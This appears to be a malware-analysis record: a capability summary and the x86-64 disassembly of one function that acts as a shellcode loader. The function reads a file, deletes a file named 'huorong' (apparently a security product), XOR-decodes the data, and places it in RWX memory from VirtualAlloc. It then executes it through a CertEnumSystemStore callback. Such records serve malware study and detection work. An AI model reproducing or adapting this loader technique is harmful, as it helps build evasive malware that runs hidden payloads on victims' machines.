Function at 0x1400017a0
Capabilities:
Allocate or change rwx memory
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x78]
sub rsp, 0x170
mov qword [rbp + 0x60], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
xor ebx, ebx
mov dword [rbp + 0x80], ebx
lea rax, [0x140019c90]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x80], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp], rax
mov qword [rsp + 0x58], rbx
lea rcx, [rbp]
call fcn.1400015e0
lea r11, [rsp + 0x60]
mov qword [rbp + 0x48], r11
mov qword [rbp + 0x50], rbx
lea rcx, [rbp]
call fcn.140003820
mov byte [rbp + 0x58], al
cmp qword [rbp + 0x48], rbx
jne 0x14000182c
mov edx, dword [rbp + 0x10]
or edx, 4
xor r8d, r8d
lea rcx, [rbp]
call fcn.140001470
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
lea rcx, [rsp + 0x60]
call fcn.140002ef0
nop
lea rcx, [rsp + 0x60]
call fcn.140002f90
test rax, rax
jne 0x140001882
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140001879
or edx, 4
xor r8d, r8d
call fcn.140001470
nop
mov rcx, qword [rsp + 0x50]
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x1400018c4
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
jmp 0x1400018ce
mov rdx, qword [0x140016470]
mov rax, rbx
movsxd rdi, eax
add rdi, rdx
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x14000193a
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
movsxd r11, dword [rsp + 0x38]
add r11, qword [rsp + 0x30]
cmp r11, qword [0x140016470]
jne 0x14000193a
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140001932
or edx, 4
xor r8d, r8d
call fcn.140001470
mov rcx, rdi
call fcn.14000494c
mov rsi, rax
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001b90
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x1400019a0
mov rcx, rsi
call fcn.140005cb8
lea rcx, [rsp + 0x60]
call fcn.140003080
test rax, rax
jne 0x1400019a0
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140001998
or edx, 4
xor r8d, r8d
call fcn.140001470
lea rcx, [rsp + 0x60]
call fcn.140003080
test rax, rax
jne 0x1400019d5
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x1400019cd
or edx, 4
xor r8d, r8d
call fcn.140001470
lea rcx, str.huorong
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r11d, ebx
mov r9, rbx
test rdi, rdi
jle 0x140001a4c
mov r10, rsi
lea r8, str.0x66
nop word [rax + rax]
movsx ecx, byte [r9 + r8]
mov eax, 0x4ac525d3
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r10], cl
inc r9
mov eax, r11d
and eax, 0x80000003
jge 0x140001a38
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
cmove r9, rbx
inc r11d
inc r10
movsxd rax, r11d
cmp rax, rdi
jl 0x140001a00
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.140004fe0
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
nop
lea rcx, [rbp]
call fcn.140001f80
lea r11, vtable.std::ios_base.0
mov qword [rbp], r11
lea rcx, [rbp]
call fcn.140004130
xor eax, eax
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret